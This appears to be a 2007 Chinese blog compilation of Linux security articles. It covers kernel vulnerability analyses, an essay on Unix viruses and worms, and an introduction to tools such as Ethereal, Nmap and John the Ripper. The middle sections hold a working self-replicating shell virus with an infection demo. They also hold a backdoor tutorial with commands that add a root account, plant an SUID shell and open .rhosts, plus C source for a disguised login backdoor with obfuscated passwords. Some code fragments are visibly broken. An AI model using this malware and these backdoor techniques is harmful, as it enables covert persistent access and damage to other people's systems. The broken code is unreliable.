攻击者通过调用get_fpxregs函数可以读取多媒体寄存器至用户空间,这样用户就可以取得MXCSR寄存器的值。调用set_fpxregs函数可以使用用户空间提供的数据对MXCSR寄存器进行赋值。通过对MXCSR的高16位进行清0,就保证了IA386 CPU的这个特性。如果产生一种极限效果使程序跳过这一行,使MXCSR寄存器的高16位没有被清0,一旦MXCSR寄存器的高16位有任何位被置位,系统就会立即崩溃!

因为利用这个漏洞攻击者还需要登录到系统,这个漏洞也不能使攻击者提升权限,只能达到DoS的效果,所以这个漏洞的危害还是比较小的。但是分析这个漏洞就没有意义了吗?其实由分析这个漏洞可以看出:Linux内核开发成员对这种内存拷贝时出现错误的情况没有进行考虑,以至造成了这个漏洞,分析了解了这个漏洞后,在漏洞挖掘方面也出现了一种新的类型,使我们在以后的开发中可以尽量避免这种情况。

接下来让我们看一种Linux内核算法上出现的漏洞。先来简单介绍一下这个漏洞,当Linux系统接收到攻击者经过特殊构造的包后,会引起hash表产生冲突导致服务器资源被耗尽。这里所说的hash冲突就是指:许多数值经过某种hash算法运算以后得出的值相同,并且这些值都被储存在同一个hash槽内,这就使hash表变成了一个单向链表。而对此hash表的插入操作会从原来的复杂度O(n)变为O(n*n)。这样就会导致系统消耗巨大的cpu资源,从而产生了DoS攻击效果。我们先看一下在linux中使用的hash算法,这个算法用在对Linux route catch的索引与分片重组的操作中。在今年五月Rice University计算机科学系的Scott A. Crosby与Dan S. Wallach提出了一种新的低带宽的DoS攻击方法,即针对应用程序所使用的hash算法的脆弱性进行攻击。这种方法提出:如果应用程序使用的hash算法存在弱点,也就是说hash算法不能有效地把数据进行散列,攻击者就可以通过构造特殊的值使hash算法产生冲突引起DoS攻击。

202

203 static __inline__ unsigned rt_hash_code(u32 daddr, u32 saddr, u8 tos)

204 {

205 unsigned hash = ((daddr & 0xF0F0F0F0) >> 4) │

206 ((daddr & 0x0F0F0F0F) > 16);

209 return (hash ^ (hash >> 8)) & rt_hash_mask;

210 }

以上的代码就是Linux对ip包进行路由或者重组时使用的算法。此算法由于过于简单而不能把route缓存进行有效的散列,从而产生了DoS漏洞。下面我们来分析一下此函数。

203行为此函数的函数名与入口参数,u32 daddr为32位的目的地址,而u32 saddr为32位的原地址,tos为协议。

205行-206行是把目标地址前后字节进行转换。

207行把原地址与tos进行异或后再与hash异或然后再赋值给hash。

208行把hash的值向右偏移16位然后与hash异或再赋值给hash。

209行是此函数返回hash与它本身向右偏移8位的值异或,然后再跟rt_hash_mask进行与操作的值。

这种攻击是一种较为少见的拒绝服务方式,因为它利用了系统本身的算法中的漏洞。该漏洞也代表了一种新的漏洞发掘的方向,就是针对应用软件或者系统使用的hash算法进行漏洞挖掘。因此,这种针对hash表攻击的方法对不仅对Linux,而且会对很多应用软件产生影响,比如说Perl5在这个perl的版本中使用的hash算法就容易使攻击者利用精心筛选的数据,使用perl5进行编程的应用程序使用的hash表产生hash冲突,包括一些代理服务器软件,甚至一些IDS软件,防火墙等,因使用的是Linux内核都会被此种攻击影响。

Linux内核中的整数溢出漏洞

Linux Kernel 2.4 NFSv3 XDR处理器例程远程拒绝服务漏洞在2003年7月29日公布,影响Linux Kernel 2.4.21以下的所有Linux内核版本。

该漏洞存在于XDR处理器例程中,相关内核源代码文件为nfs3xdr.c. 此漏洞是由于一个整形漏洞引起的(正数/负数不匹配)。攻击者可以构造一个特殊的XDR头(通过设置变量int size为负数)发送给Linux系统即可触发此漏洞。当Linux系统的NFSv3 XDR处理程序收到这个被特殊构造的包时,程序中的检测语句会错误地判断包的大小,从而在内核中拷贝巨大的内存,导致内核数据被破坏,致使Linux系统崩溃。

漏洞代码:

static inline u32 *

  decode_fh(u32 *p, struct svc_fh *fhp)

  {

  int size;

  fh_init(fhp, NFS3_FHSIZE);

  size = ntohl(*p++);

  if (size > NFS3_FHSIZE)

  return NULL;

  memcpy(&fhp->fh_handle.fh_base, p, size); fhp->fh_handle.fh_size = size;

  return p + XDR_QUADLEN(size);

  }

因为此内存拷贝时在内核内存区域中进行,会破坏内核中的数据导致内核崩溃,所以此漏洞并没有证实可以用来远程获取权限,而且利用此漏洞时攻击者必须可以mount此系统上的目录,更为利用此漏洞增加了困难。

我们的目的在于通过这个漏洞的特点来寻找此种类型的漏洞并更好地修补它。大家可以看到,该漏洞是一个非常典型的整数溢出漏洞,如果在内核中存在这样的漏洞是非常危险的。所以Linux的内核开发人员对Linux内核中关于数据大小的变量都作了处理(使用了unsigned int),这样就避免了再次出现这种典型的整数溢出。通过对这种特别典型的漏洞原理进行分析,开发人员可以在以后的开发中避免出现这种漏洞。

IP地址欺骗类漏洞

由于tcp/ip本身的缺陷,导致很多操作系统都存在tcp/ip堆栈漏洞,使攻击者进行ip地址欺骗非常容易实现。Linux也不例外。虽然IP地址欺骗不会对Linux服务器本身造成很严重的影响,但是对很多利用Linux为操作系统的防火墙和IDS产品来说,这个漏洞却是致命的。

IP地址欺骗是很多攻击的基础,之所以使用这个方法,是因为IP自身的缺点。IP协议依据IP头中的目的地址项来发送IP数据包。如果目的地址是本地网络内的地址,该IP包就被直接发送到目的地。如果目的地址不在本地网络内,该IP包就会被发送到网关,再由网关决定将其发送到何处。这是IP路由IP包的方法。IP路由IP包时对IP头中提供的IP源地址不做任何检查,认为IP头中的IP源地址即为发送该包的机器的IP地址。当接收到该包的目的主机要与源主机进行通信时,它以接收到的IP包的IP头中IP源地址作为其发送的IP包的目的地址,来与源主机进行数据通信。IP的这种数据通信方式虽然非常简单和高效,但它同时也是IP的一个安全隐患,很多网络安全事故都是由IP的这个缺点而引发的。

黑客或入侵者利用伪造的IP发送地址产生虚假的数据分组,乔装成来自内部站的分组过滤器,这种类型的攻击是非常危险的。关于涉及到的分组真正是内部的,还是外部的分组被包装得看起来像内部分组的种种迹象都已丧失殆尽。只要系统发现发送地址在自己的范围之内,就把该分组按内部通信对待并让其通过。

星期三, 二月 07, 2007

系统安全之谈谈Linux和UNIX下的病毒

系统安全之谈谈Linux和UNIX下的病毒

作者:smtk 来源:赛迪网安全社区

不久以前,很多系统管理员还信誓旦旦的表示,Linux和其他基于UNIX的平台对于病毒和蠕虫事实上是无懈可击的。我不知道为什么他们对自己的威胁分析这么自信,特别是从第一个大型蠕虫在1988年被Robert Morris发明,在使用Sendmail程序的UNIX系统中被释放出来以后。我猜测每个人都变得热衷于批评微软的操作系统和软件,这已经成为越来越多病毒制造者的攻击目标,然而他们却遗忘了UNIX上的脆弱点。

Linux/UNIX威胁

随着Klez病毒在Linux平台上传染的通告,防毒软件厂商开始提醒我们微软的操作系统不再是唯一易受病毒攻击的操作系统了。即使Linux和其他一些主流UNIX平台的用户可能不是微软捆绑应用软件的大用户,不可能通过这些软件造成病毒的泛滥,Linux和UNIX仍然有它们自身并不引人注目的脆弱点。

除了Klez以外,其他Linux/UNIX平台的主要威胁有:Lion.worm、OSF.8759病毒、Slapper、Scalper、Linux.Svat和BoxPoison病毒,这些很少被提及。

我记得曾经在两年前参加了一个由欧洲最大的财政机构完成的安全审计项目,当时我听见一个知名的安全专家告诉审计师,UNIX是不易受病毒攻击的。审计师只是简单的说了一句"okay",然后纪录下"UNIX系统对于病毒是安全的"。那个时代已经过去了,你现在可以预料到,安全审计师和IT安全团队已经开始强烈的需要UNIX平台上的病毒策略了。

一个叫Alexander Bartolich的奥地利学生甚至已经完成了如何一个编写Linux平台上ELF 病毒的指南。Bartolich 没有要求做一个Linux病毒先锋,他表示,他只是更有效的说明了和反映了病毒、蠕虫和木马威胁Linux 更好的途径,那些很早就已经在别处被说明了。有了这样具启发性的、在网上发布的文档,基于UNIX的病毒数量只会增长的更快,特别是自Linux 在服务器领域的应用越来越广泛之后。系统管理员也许希望,在亲自读过那本指南以后,对Linux 病毒的理解发生飞跃,从而能够更好的掌握Linux 的脆弱点。

病毒的制造者是一些精通编写代码的黑客,他们远比那些胡乱涂改网站却对编写病毒知之甚少的黑客要危险。尽管一个被黑掉的网站可以很快的修好,病毒却加更隐蔽,会带来潜在的安全隐患。你也许不能相信,但是病毒会一直潜伏,直到它给系统带来不可挽回的损害。

受影响的Linux/UNIX平台

不是所有版本的Linux/UNIX平台都已经被影响,但是下面这些是在从前已经被病毒侵害过的系统:

SuSE Linux

Mandrake Linux

Red Hat Linux

Debian GNU Linux

Slackware Linux

FreeBSD

HP/UX

IBM AIX

SCO Unixware

SCO OpenServer

Sun Solaris

SunOS

越多的Linux/UNIX系统连接到局域网和广域网,你的单位就有越多受攻击的可能,这是因为很多UNIX 病毒正在快速的扩散着。使用WINE的 Linux/UNIX系统特别容易受到病毒的攻击。WINE是一个公开源代码的兼容软件包,能让UNIX平台运行Windows应用软件。 WINE系统特别容易遭受病毒的攻击,因为它们会使无论是对UNIX的还是对 Windows的病毒、蠕虫和木马都能对系统产生威胁。

威胁的本质

你不应该为Linux/UNIX平台上的病毒和Windows操作系统上的病毒工作方式不同而感到奇怪。不过,UNIX中病毒、蠕虫和木马工作的原理和Windows中的还是大同小异的。

病毒只不过是一个能不经过你的同意而感染和摧毁其他程序的程序。蠕虫是一个不经过你的同意而自我复制的代码块。尽管计算机程序中的bug也可能在未经你允许的情况下进行自我复制,它们还是有很大区别的。区别就在于bug的自我复制是无意识的,而病毒的自我复制却是有意识的。木马程序隐藏了它们进行数字破坏的企图。在一个UNIX环境下,木马可能被命名为一个合法的程序(例如tar或者df),可是它却能移除整个文件系统。

这些病毒和蠕虫如何工作

为了给你一个由UNIX病毒、蠕虫和木马产生的重大破坏过程的认识,我带你走进两个假想的环境来揭示它们是如何工作的。每个病毒、蠕虫和木马都有它们自己的特性和行为,当然,这些例子只能给你一个对它们怎样在Linux/UNIX里发作的认识。

让我们从Linux.Slapper worm. Slapper怎样侵袭一个Apache服务器开始。它通过HTTP的80端口连接到服务器,然后发送有效的GET请求,以发现正在使用的Apache服务器的版本,从而为详细的目标系统做一个自我定义。当找到了一个合适的易攻击的系统之后,它又连接到443端口,利用一个缓冲区溢出漏洞来采用合适的蠕虫包替换目标系统。

接着,蠕虫会利用一个本地编译器,例如gcc来编译自己。二进制结果跟着从/tmp目录开始扩散,监听UDP端口,以接受更长远的分布式拒绝服务(DDoS )攻击的指示。最后,DDoS攻击制造TCP洪流令系统瘫痪。某些Slapper病毒的变异体还会扫描整个B类网络寻找易攻击的Apache服务器。

另一种蠕虫,Linux Lion worm,扫描任意的B类网络里的53端口,从而找出易受攻击版本的BIND——最流行的Linux/UNIX DNS服务器。当Linux Lion worm找到一个易受攻击版本的BIND之后,它清除日志文件,接着种植各种木马文件以隐藏它的企图。Linux Lion worm可能安装的木马文件有:

/bin/in.telnetd

/bin/mjy

/bin/ps

/bin/netstat

/bin/ls

/etc/inetd.conf

/sbin/ifconfig

/usr/bin/find

/usr/sbin/nscd

/usr/sbin/in.fingerd

/usr/bin/top

/usr/bin/du

你可以看到,这些文件看起来是合法的UNIX文件,因此你可能怀疑你的第一眼所见,但这就是木马的关键所在。要掩盖它的足迹,Linux Lion可能会删除以下文件:

/.bash_history

/etc/hosts.deny

/root/.bash_history

/var/log/messages

/var/log/maillog

一旦已经对系统构成威胁,Lion会把密码文件发送给远程的计算机,其他Lion 的变种可以通过嗅探器来嗅探活动连接中的密码信息。通过获得系统访问权限,病毒黑客们能利用远程系统进行DDoS攻击,窃取信用卡号,或者窃取和破坏机密文件、纪录。

Linux/UNIX的防毒产品

自从Linux成为最流行的UNIX平台之一以后,大多数为UNIX系统所编写的病毒瞄准了Linux平台。然而,一些厂商同样有一些非主流UNIX平台的软件包。如果你的单位正在使用Solaris、FreeBSD,或者其他版本的UNIX,不要期待找到很多防毒的选择。明显的,Linux/UNIX平台上的防毒软件正在蔓延,在教育,只有一部分厂商提供了Linux/UNIX 平台的软件产品。

一些UNIX防毒产品被特别的设计安装在防火墙之上,因此你可以在UNIX病毒侵害其他系统之前将其拦截在防火墙上。另外的一些UNIX防毒产品被特别的设计在消息和群件服务器上。

保护你的系统不受自动化的黑客行为所侵害

病毒、蠕虫和木马基本上意味着自动化的黑客行为,也许被病毒攻击比被黑客攻击更可能发生。直接的黑客攻击目标一般是服务器,而病毒是等机会的麻烦制造者。如果你的网络包含了Linux或UNIX系统,特别危险的是服务器,不要在作出反应之前等待寻找UNIX病毒、蠕虫和木马是否存在。做一些调查然后选择一个适合你系统的防毒产品,它们能帮你防止病毒的传播。

Linux操作系统下Shell病毒详细介绍

作者:smtk 来源:赛迪网安全社区 

【文中代码,仅供参考!】

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

#!/bin/sh

#文件名:virus_demo.sh

#用途:shell病毒演示。

#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。

#编写:watercloud@xfocus.org

#日期:2003-5-13

#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '<+!a%C&t:>' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"

#E:<+!a%C&t:>

#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

[cloud@ /export/home/cloud/vir]> ls -l

drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./

drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../

-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh

-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

来看看我们这个“肉鸡”脚本,很简单:

[cloud@ /export/home/cloud/vir]> cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1

ls -l

#EOF

好了开始感染他。

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh

Hi, here is a demo shell virus in your script !

来看看感染后的结果:

[cloud@ /export/home/cloud/vir]> cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date : 3000-1-1

#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

if grep '<+!a%C&t:>' $f ; then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n "1,${vNo}p" $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"

#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:

#B:<+!a%C&t:> . . . .

#E:<+!a%C&t:>

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh

Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh

-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh


4. 简单讲解

我们来一步步分析一下这个病毒:#B:<+!a%C&t:>病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ; then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。

sed -n "1,${vNo}p" $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。

vNo=`expr $vNo + 1`

sed -n "${vNo},\$p" $vTmp >>$f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

rm -f $vTmp

清理一下临时文件。

done >/dev/null 2>&1

循环结束。

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用。

5.后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!

系统安全之浅谈Linux后门技术及实践

作者:smtk 来源:赛迪网安全社区

后门简介

入侵者完全控制系统后,为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。 具有隐蔽性,能绕开系统日志,不易被系统管理员发现等特点。

常用后门技术

增加超级用户账号

破解/嗅探用户密码

放置SUID Shell

rhosts + +

利用系统服务程序

TCP/UDP/ICMP Shell

Crontab定时任务

共享库文件

工具包rootkit

可装载内核模块(LKM)

增加超级用户

# echo "e4gle:0:0::/:/bin/sh" >> /etc/passwd

# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。

破解/嗅探用户密码

获得shadow文件后,用John the Ripper 工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等端口,收集用户密码。

放置SUID Shell

# cp /bin/bash /dev/.rootshell

# chmod u+s /dev/.rootshell

普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

rhosts + +

# echo "+ +" > /.rhosts

# rsh -l root victim.com csh -i

远程可以得到一个rootshell。

利用系统服务程序

修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序,重定向login程序。

TCP/UDP/ICMP Shell

BindShell,大部分是基于TCP/UDP协议的网络服务程序,在高端口监听,很容易被发现。Ping Backdoor,通过ICMP包激活后门,形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。

Crontab定时任务

通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的时间。

共享库文件

在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验。

工具包Rootkit

包含一系列系统及后门工具:

- 清除日志中的登录记录

- 伪装校验和

- 替换netstat、ps等网络工具

- 后门登录程序易于安装和使用

可装载内核模块(LKM)

LKM:Loadable Kernel Modules 动态的加载,不需要重新编译内核。截获系统调用,具有隐藏目录、文件、进程、网络连接等强大功能。自身隐蔽性好,发现难度较大。著名的LKM包有adore和knark。

后门的检测

以自己的经验,结合特定的工具,手工作一些检测。使用Tripwire或md5校验来检查系统。借助IDS系统,监听到目标机器的可疑网络连接。

实例:Login后门

入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过环境变量或者终端类型

传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。

最简单的login后门ulogin.c源代码如下:

实例:Login后门

#include

#define PASSWORD "passWORD"

#define _PATH_LOGIN "/sbin/logins"

main (argc, argv, envp)

int argc;

char **argv, **envp;

{

 char *display = getenv("DISPLAY";

 if ( display == NULL ) {

  execve(_PATH_LOGIN, argv, envp);

  perror(_PATH_LOGIN);

  exit(1);

 }

 if (!strcmp(display,PASSWORD)) {

  system("/bin/csh";

  exit(1);

 }

 execve(_PATH_LOGIN, argv, envp);

 exit(1);

}

利用后门登录

首先Telnet服务是打开的,在自己机器上:

bash$ export DISPLAY=passWORD

bash$ telnet victim.com

Trying xxx.xxx.xxx.xxx...

Connected to victim.com (xxx.xxx.xxx.xxx).

Escape character is '^]'.

% _

Strings命令

Strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:

bash$ strings ulogin

/lib/ld-linux.so.2

..............

DISPLAY

/sbin/logins

passWORD

/bin/csh

加密后门密码

1、采用DES算法,即crypt( )函数,编写gen.c程序:

#include

main(int argc, char *argv[])

{

if (argc != 3) {

printf("usage: %s \n", argv[0]);

exit(1);

}

printf("%s\n", crypt(argv[1], argv[2]));

}

2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

3、修改后门源程序ulogin.c:

-- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

-- 如果后门密码正确,直接给出Shell:

if (!strcmp(PASSWORD, crypt(display,PASSWORD)))

{

system(SHELL);

exit(1);

}

用strings命令只能看到加密过的密码。

采用异或(XOR)算法

以十六进制方式表示字符串,以达到non- printable的效果。

1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";

char *de(char *str,char *key)

{

int i=0,j=0,len;

len=strlen(key);

while(str != '\0') {

str^=key[j];

j++;

if(j==len) j=0;

i++;

}

return str;

}

void display(char *str)

{

int i;

for(i=0;i
printf("\n";

}

main()

{

char gets[100], *ptr;

ptr=gets;

scanf ("%s",ptr);

de(ptr,magic);display(ptr);

}

2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

3、在后门源代码中这样定义:

Char

login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

用strings命令看不到密码、路径等字符串了。

最后的修饰

使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

调整后门程序的文件日期、大小等属性:

1、日期

# ls -l /sbin/xlogin

-r-sr-xr-x root root 19300 Feb 11 1998

/sbin/xlogin

# touch -t 199802110000 ulogin

# _

2、调整大小

# ls -l ulogin /sbin/xlogin

-r-sr-xr-x root root 7542 Feb 11 1998 ulogin

-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

# bc

19300-7542

11758

# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

1+0 records in

1+0 records out

11758 bytes transferred in 0.000379 secs (31016746

bytes/sec)

# cat /tmp/t >> ulogin

Login后门的检测

使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。使用Red Hat Linux的RPM校验:

# rpm -V util-linux

在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

充分利用Linux操作系统安全防护工具

充分利用Linux操作系统安全防护工具

作者:smtk 来源:赛迪网安全社区

Linux的安全防护离不开各种工具,Linux的开源性也促进了这些优秀的安全防护工具的发展。

目前在Linux环境下的安全工具林林总总,种类繁多。本文精选一些比较常用的、具有代表性的加以介绍,它们包括系统管理工具和网络管理工具。它们基本都是开源的,一般都随着诸如Red Hat Linux、Debian Linux等发行套件而发布,一些发行套件里面没有的,用户可以按照本文所提供的方式下载使用。由于篇幅的关系,本文只对这些工具的用途、原理和使用作指导性的介绍,要了解更加详细的使用情况,读者可以根据文中的介绍去查找和使用。

协议分析工具——Ethereal

Ethereal是一个有名的网络端口探测器,是可以在Linux、Solaris、SGI等各种平台运行的网络监听软件,它主要是针对TCP/IP协议的不安全性对运行该协议的机器进行监听。其功能相当于Windows下的Sniffer,都是在一个共享的网络环境下对数据包进行捕捉和分析,而且还能够自由地为其增加某些插件以实现额外功能。

其最常用的功能是被攻击者用来检测被攻击电脑通过23(telnet)和110(pop3)端口进行的一些明文传输数据,以轻松得到用户的登录口令和邮件账号密码。一般说来,Ethereal基本上是为破坏者所利用的工具,而对于网络管理员来说,也可以通过捕包分析,来确定一些异常的流量和局域网内部的非正常用户与外界的通信,比如说对于现在比较占用网络带宽的诸如Bit Torrent 等P2P应用软件流量,通过使用该软件确定这些流量,网络管理员就可以使用流量控制(TC)的方法来规范、合理的分配带宽资源,提高网络的利用率。

Ethereal极其方便和友好的图形用户界面,并且能够使得用户通过图形界面的配置和选择,针对多块网卡、多个协议进行显示,效果非常好。目前最新版本为:Ethereal 0.10.12。

# cp ethereal-0.10.12.tar.bz2 /usr/local/src/

# cd /usr/local/src/

# bzip2 -d ethereal-0.10.12.tar.bz2

# tar xvf ethereal-0.10.12.tar

另外,同Tcpdump一样,在编译Ethereal之前应先确定已经安装pcap库(libpcap),这是编译Ethereal时所必需的。如果该库已经安装,就可以执行下面的命令来编译并安装Ethereal:

# cd ethereal-0.10.12

# ./configure

# make

# make install

当编译并安装好Ethereal后,就可以执行“ethereal”命令来启动Ethereal。在用 Ethereal截获数据包之前,应该为其设置相应的过滤规则,可以只捕获感兴趣的数据包。Ethereal使用与Tcpdump相似的过滤规则,并且可以很方便地存储已经设置好的过滤规则。

Ethereal和其他的图形化嗅探器使用基本类似的界面,整个窗口被分成三个部分:最上面为数据包列表,用来显示截获的每个数据包的总结性信息;中间为协议树,用来显示选定的数据包所属的协议信息;最下边是以十六进制形式表示的数据包内容,用来显示数据包在物理层上传输时的最终形式。使用Ethereal可以很方便地对截获的数据包进行分析,包括该数据包的源地址、目的地址、所属协议等。

网络端口扫描工具——Nmap

Nmap是用来对一个比较大的网络进行端口扫描的工具,它能检测该服务器有哪些TCP/IP端口目前正处于打开状态。用户可以运行它来确保和查证系统目前打开了哪些端口和外界进行通信,从而禁止掉不该打开的不安全的端口号,比如一些特别占用带宽的P2P端口和一些具有漏洞的应用端口。nmap设计的初衷是系统管理员可以方便地了解自己的网络运行情况,例如有多少台主机在运行、分别提供什么样的服务等。因此,它扫描的速度非常快,尤其适合大型网络。在对网络进行扫描时,Nmap主要利用ICMP echo探测主机是否开启。Nmap目前网上最新版本为: nmap-3.93.tar.bz2,可按照如下步骤进行安装:

#bzip2 -cd nmap-3.93.tar.bz2 | tar xvf -

#cd nmap-3.93

#./configure

#make

#make install

下面给出一个探测本机的简单例子:

# nmap 127.0.0.1

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )

Interesting ports on localhost (127.0.0.1):

(The 1540 ports scanned but not shown below are in state: closed)

Port State Service

22/tcp open ssh

2401/tcp open cvspserver

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

上面通过查看本机的端口使用情况,发现该机器打开了22以及2401端口,且都为TCP服务,另外,1540端口也为该软件扫描到,但是该端口的状态为关闭,所以没有列出来。当然,该软件的功能很强大,还有很多复杂和高级的选项,用户可以自己到该软件的主页上学习。

密码分析工具——John the ripper

在Linux中,密码以hash格式被存储,用户不能反向从该hash数据表中分析出密码,因为该hash函数是单向的。但是,用户可以对一组单词进行hash加密,然后和保存的密码进行比较,如相同就说明猜测出密码。所以要选取一个很难被猜测的、非常有效的密码是非常关键的。一般地来说,决不能用字典存在的某个单词作为密码,那是相当容易被猜测出来的。另外也不能用一些常见的有规则性的字母数字排列作为密码。

为了验证用户所选取的密码是否能由较高的安全性,我们可以使用一些Linux下的密码分系统工具来对这些密码进行分析确认,具有一定的指导意义。在这当中,John the ripper是一个经典、高效的易于使用的密码猜测程序,目前最新版本为 John the Ripper 1.6。下面给出其安装步骤:

下载tar.gz格式的Unix版的程序,然后执行如下命令即可:

#tar xzvf john-1.6.tar.gz

#cd john-1.6/src

#make linux-x86-any-a.out

